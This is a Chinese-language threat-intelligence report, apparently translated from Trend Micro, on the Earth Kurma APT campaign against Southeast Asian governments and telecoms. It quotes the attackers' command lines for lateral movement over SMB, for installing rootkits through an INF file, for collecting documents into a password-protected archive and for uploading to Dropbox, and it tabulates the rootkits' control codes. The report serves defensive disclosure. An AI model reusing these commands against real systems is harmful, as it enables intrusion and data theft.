Earth Kurma APT组织利用高级恶意软件和Rootkit攻击东南亚政府与电信部门

趋势科技发现Earth Kurma APT组织针对东南亚政府及电信部门发起复杂网络攻击,使用定制恶意软件、Rootkit及云服务进行数据窃取,涉及多种高级规避技术和持久化手段。

Earth Kurma APT活动针对东南亚政府电信部门

趋势科技研究团队发现了一个复杂的APT活动,针对东南亚的政府和电信部门。该活动被命名为Earth Kurma,攻击者使用高级定制恶意软件、Rootkit和云存储服务进行数据外泄。Earth Kurma展示了自适应的恶意软件工具集、战略性的基础设施滥用和复杂的规避技术。

摘要

此活动由于针对性的间谍活动、凭证盗窃、通过内核级Rootkit建立的持久性立足点以及通过受信任云平台进行的数据外泄,构成了较高的商业风险。受影响的组织主要位于东南亚的政府和电信部门(特别是菲律宾、越南、泰国、马来西亚)。组织面临敏感政府和电信数据泄露的风险,攻击者长期未被发现地访问其网络。

趋势Vision One™检测并阻止了此APT活动中使用的恶意组件。趋势Vision One客户还可以访问狩猎查询、威胁洞察和威胁情报报告,以获取有关Earth Kurma的丰富上下文和最新更新。

介绍

自2024年6月以来,我们发现了一个针对东南亚多个国家(包括菲律宾、越南和马来西亚)的复杂APT活动。我们将此活动背后的威胁行为者命名为“Earth Kurma”。我们的分析显示,他们主要针对政府部门,表现出对数据外泄的特别兴趣。值得注意的是,这波攻击涉及使用Rootkit来维持持久性并隐藏其活动。

在本研究中,我们提供了关于Earth Kurma及其持续活动的智能。我们将披露技术细节,包括他们的战术、技术和程序(TTP),以及他们的工具集的具体信息,如TESDAT、SIMPOBOXSPY、KRNRAT和MORIYA等。

Earth Kurma是谁?

Earth Kurma是一个专注于东南亚国家的新APT组织。所有已识别的受害者都属于政府和政府相关的电信部门。从我们的长期监控来看,他们的活动可以追溯到2020年11月,主要目标是数据外泄。我们的分析表明,他们倾向于通过公共云服务(如Dropbox和OneDrive)外泄数据。为了实现这一目标,他们使用了各种定制工具集,包括TESDAT和SIMPOBOXSPY。Earth Kurma还开发了Rootkit,如KRNRAT和MORIYA,以隐藏其活动。

至于归因,我们发现Earth Kurma的工具与其他已知APT组织的工具有重叠。此活动中的MORIYA Rootkit与Operation TunnelSnake中使用的Rootkit共享相同的代码库,而SIMPOBOXSPY和外泄脚本与另一个名为ToddyCat的APT组织密切相关。然而,攻击模式的差异使我们无法将这些活动和操作 conclusively 归因于相同的威胁行为者。因此,我们将这个新的APT组织命名为“Earth Kurma”。

影响

我们的遥测数据显示,Earth Kurma主要针对东南亚的受害者,包括菲律宾、越南、泰国和马来西亚。Earth Kurma的目标可能表明其动机是网络间谍活动。

感染链

感染链和使用的恶意软件可以总结如下:

横向移动

我们无法确认攻击中使用的到达向量,因为我们的分析在受害者首次被入侵多年后才开始。

在横向移动阶段使用了多种工具。各种实用程序被用于扫描受害者的基础设施并部署恶意软件,包括NBTSCAN、LADON、FRPC、WMIHACKER和ICMPinger。他们还部署了一个键盘记录器KMLOG,以窃取受害者的凭证。

为了调查受害者的基础设施,威胁行为者使用了一个名为ICMPinger的工具来扫描主机。这是一个基于ICMP协议的简单网络扫描工具,用于测试指定主机是否仍然存活。他们在操作完成后删除此工具。

他们还使用了另一个开源工具Ladon来检查基础设施。为了绕过检测,Ladon被包装在一个由PyInstaller编译的反射加载器中。用于解码有效载荷的XOR密钥在我们收集的所有样本中各不相同。

为了横向移动,他们还使用了另一个开源工具WMIHACKER,它可以通过端口135执行命令,而无需SMB。

在我们观察到的一些案例中,他们还通过SMB协议(如使用“net use”)执行命令来检查基础设施并部署恶意软件。

1
2
3
4
5
6
7
8
C:\Windows\system32\cmd.exe /C sc.exe -a 172.20.40.0-172.20.40.255 -t 500 -f lg.txt -c 1 -o 100 –n
C:\Windows\system32\cmd.exe /C net use \\172.20.40.41\c$ {password} /u:{user}
C:\Windows\system32\cmd.exe /C copy vdmsc.dll \\172.20.40.41\c$\users\{user} \videos
C:\Windows\system32\cmd.exe /C copy msv.dat \\172.20.40.41\c$\windows\system32
C:\Windows\system32\cmd.exe /C sc \\172.20.40.41 create katech binpath= "cmd /c start /b rundll32.exe c:\users\{user}\videos\vdmsc.dll,Init"
C:\Windows\system32\cmd.exe /C sc \\172.20.40.41 start katech
C:\Windows\system32\cmd.exe /C sc \\172.20.40.41 delete katech
C:\Windows\system32\cmd.exe /C net use \\172.20.40.41\c$ /del /y

威胁行为者还尝试通过使用自定义工具KMLOG窃取受害者的凭证。这是一个简单的键盘记录器,将每次击键记录到名为“%Appdata%\Roaming\Microsoft\Windows\Libraries\infokey.zip”的文件中。

为了隐藏击键日志文件,它被预先添加了一个假的ZIP文件头(PK头)。头之后是日志内容的真实主体。

标题 加密 数据
Header 预定义的PK文件头
[Title] XOR 0xDB GetForegroundWindow标题文本
[Time] GetLocalTime
[Content] 击键

表1. 击键日志文件的结构

持久性

在持久性阶段,行为者部署了不同的加载器来维持其立足点,包括DUNLOADER、TESDAT和DMLOADER。这些加载器用于将有效载荷文件加载到内存并执行它们。这些加载器然后被用于部署更多恶意软件并通过公共云服务(如Dropbox和OneDrive)外泄数据。在一些案例中,Rootkit(包括KRNRAT和MORIYA)被加载器植入以绕过扫描。

加载器

在2022年至2024年之间,我们观察到多个加载器被植入受害者环境,包括DUNLOADER、TESDAT和DMLOADER。大多数最终有效载荷是Cobalt Strike信标。

我们遇到的第一个加载器是DUNLOADER。它能够从以下位置之一加载有效载荷并通过单字节XOR操作解码:

  • 来自名为“pdata.txt”的文件
  • 来自其自己的名为“BIN”的资源块

此加载器是一个DLL文件,并始终通过检查父进程的名称是否包含特定的字符串字面量“und”来确保它由“rundll32.exe”执行。在大多数情况下,此DLL应包含一个名为“Start”的导出函数。

我们后来发现的较新加载器称为TESDAT。它总是加载带有“.dat”扩展名的有效载荷文件(如“mns.dat”)。它不使用常见的API(如CreateThread)来执行解码的shellcode,而是总是调用一个名为“SwitchToFiber”的API,我们认为这是为了避免检测。我们的分析显示了TESDAT加载器的两个变体。它可以是EXE文件,也可以是带有名为“Init”的导出函数的DLL文件。

我们还注意到,行为者会使用一些随机字符串命名加载器,并将它们放在受害者经常访问的文件夹中,而不是攻击者常用的文件夹(即%ProgramData%或%Public%)。这 presumably 是为了将加载器与合法的用户文件混合。以下是一些文件名示例:

  • C:\Users{user}\downloads\wcrpc.dll
  • C:\Users{user}\downloads\mflpro\acrg.dll
  • C:\Users{user}\documents\ViberDownloads\mfsvc.dll
  • C:\Users{user}\downloads\fwdjustification\dilx.exe
  • C:\Users{user}\downloads\ffap3560pcl6220510w636iml\drasc.dll
  • C:\Users{user}\downloads\1\2\3\prikc.exe
  • C:\Users{user}\Downloads\Rufus\gpupdat.exe

最近,我们观察到一个新的加载器DMLOADER被植入。它不是加载额外的有效载荷文件,而是加载嵌入的有效载荷并将其解码为内存中的PE缓冲区。此加载器通常有一个名为“DoMain”或“StartProtect”的导出函数。在解码的PE有效载荷中,它应有一个名为“MThread”的导出函数。

Rootkit

在加载器被植入受害者机器后,我们发现一些受感染的机器上安装了Rootkit。为了安装Rootkit,威胁行为者滥用了一个名为“syssetup.dll”的Living-off-the-Land二进制文件,并丢弃了一个INF文件来安装它们。使用的命令行示例如下:

1
C:\Windows\SysWOW64\rundll32.exe syssetup,SetupInfObjectInstallAction DefaultInstall 128 c:\users\{user}\downloads\SmartFilter.inf

我们观察到的第一个Rootkit称为MORIYA,它可以隐藏TCP流量中的恶意有效载荷。

MORIYA作为TCP流量拦截器工作。它尝试通过检查前六个魔术字节来监控传入的TCP数据包是否来自命令和控制(C&C)服务器。魔术字节可以通过从其用户模式代理发出特定的IOCTL代码0x222004来注册。如果任何数据包匹配,它尝试将恶意有效载荷注入响应数据包的主体中。我们发现的变体与此MORIYA报告中的变体完全相同。

我们发现的MORIYA变体具有额外的shellcode注入能力。在其执行结束时,它尝试从位置“\SystemRoot\system32\drivers\{driver_name}.dat”加载有效载荷文件。有效载荷将在AES中解密并注入svchost.exe的进程中。此有效载荷应该是其用户模式代理。

shellcode最终将通过使用API NtCreateThreadEx调用。为了绕过检测,它尝试直接使用系统调用号调用调用。为了在目标系统上获取有效的系统调用号,它枚举NTDLL的导出函数,找到名称以“Zw”或“Nt”开头的函数,并保存每个的系统调用号。此代码片段从此帖子中重用。

我们发现的另一个Rootkit称为KRNRAT。它是一个功能齐全的后门,具有各种能力,包括进程操作、文件隐藏、shellcode执行、流量隐藏和C&C通信。我们将此Rootkit命名为KRNRAT,因为其内部名称,正如其PDB字符串中所写:N:\project\li\ThreeTools\KrnRat\code\x64\Debug\SmartFilter.pdb

我们的分析显示,KRNRAT基于多个开源项目:

KRNRAT支持众多的IOCTL代码和能力。其调试字符串也是自解释的。以下是支持的IOCTL代码的完整表格。

IoControlCode 描述(调试字符串)
0x222000 IOCTL_TERMINATE_PROCESS
0x22200C IOCTL_SUSPEND_PROCESS
0x222010 IOCTL_TERMINATE_PROCESS(拼写错误,应为IOCTL_RESUME_PROCESS)
0x222014 IOCTL_ADD_BLACK_PROCESS
0x222018 IOCTL_REMOVE_BLACK_PROCESS
0x22201C IOCTL_ADD_HIDDEN_FILE
0x222020 IOCTL_ADD_HIDDEN_DIR
0x222024 IOCTL_REMOVE_HIDDEN_FILE
0x222040 IOCTL_REMOVE_HIDDEN_DIR
0x222048 IOCTL_REMOVE_HIDDEN_PROCESS
0x22204C IOCTL_ADD_LOCAL_HIDDEN_PORT
0x222050 IOCTL_REMOVE_LOCAL_HIDDEN_PORT
0x222054 IOCTL_ADD_REMOTE_HIDDEN_PORT
0x222058 IOCTL_REMOVE_REMOTE_HIDDEN_PORT
0x22205C IOCTL_REMOVE_LOCAL_HIDDEN_PORT
0x222060 IOCTL_REMOVE_LOCAL_HIDDEN_IP
0x222064 IOCTL_ADD_REMOTE_HIDDEN_IP
0x222080 IOCTL_REMOVE_REMOTE_HIDDEN_IP
0x222084 IOCTL_REMOVE_ALL_HIDDEN_NET
0x222088 IOCTL_PROTECT_PROCESS
0x22208C IOCTL_ELEVATE_PROCESS
0x222090 IOCTL_INJECT_SHELLCODE

表2. KRNRAT中支持的命令代码

在其执行结束时,它还加载额外的有效载荷文件并将其注入svchost.exe进程。此shellcode注入能力与我们发现的MORIYA变体完全相同。这次,我们能够收集有效载荷,结果发现是KRNRAT的用户模式代理,并且是后门。这意味着其用户模式代理始终是内存驻留的。

后门是一个stager。它连接到C&C服务器并下载下一阶段的有效载荷。它尝试通过向KRNRAT Rootkit发出特定的IOCTL代码来隐藏进程和连接。

偏移 大小 名称 描述
0x0 0x8 minutes 睡眠分钟数
0x8 0x4 hourStart 当前时间之后的小时数
0xC 0x4 hourEnd 当前时间之前的小时数
0x10 0x4 reserved 保留
0x14 0x4 dayOfWeekStart 当前时间之后的星期几
0x18 0x4 dayOfWeekEnd 当前时间之前的星期几

表3. 后门在注册表中的配置结构

来自C&C服务器的最终有效载荷将是所谓的SManager。

收集和外泄

在收集和外泄阶段,我们观察到两个定制工具用于将特定文档外泄到攻击者的云服务,如Dropbox和OneDrive。在外泄文件之前,由加载器TESDAT执行的几个命令收集了具有以下扩展名的特定文档文件:.pdf、.doc、.docx、.xls、.xlsx、.ppt和.pptx。文档首先被放置到一个新创建的名为“tmp”的文件夹中,然后使用WinRAR和特定密码进行归档。

1
2
3
4
5
C:\Windows\system32\cmd.exe /C dir c:\users
C:\Windows\system32\cmd.exe /C mkdir tmp
C:\Windows\system32\cmd.exe /C powershell.exe "dir c:\users -File -Recurse -Include '*.pdf', '*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt' , '*.pptx'| where LastWriteTime -gt (Get-date).AddDays(-30) | foreach {cmd /c copy $_ /y c:\users\{username}\documents\tmp};echo Finish!"
C:\Windows\system32\cmd.exe /C c:\"program files"\winrar\rar.exe a -p{password} -v200m c:\users\{username}\documents\{hostname} c:\users\{username}\documents\tmp -ep
C:\Windows\system32\cmd.exe /C rmdir /s /q tmp

第一个工具SIMPOBOXSPY是一个外泄工具,可以将归档文件上传到具有指定访问令牌的Dropbox。此工具正是此ToddyCat报告中提到的“通用DropBox上传器”。SIMPOBOXSPY的命令参数如下所示。

1
dilx.exe {access_token} [-f {file_1} {file_2} ...]

如果未指定参数“-f”,它将上传当前文件夹中具有预定义扩展名(如“.z”、“.001”、“.002”、…、“.128”)的文件。还有另一个变体,它将上传扩展名为“.7z”的归档文件

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计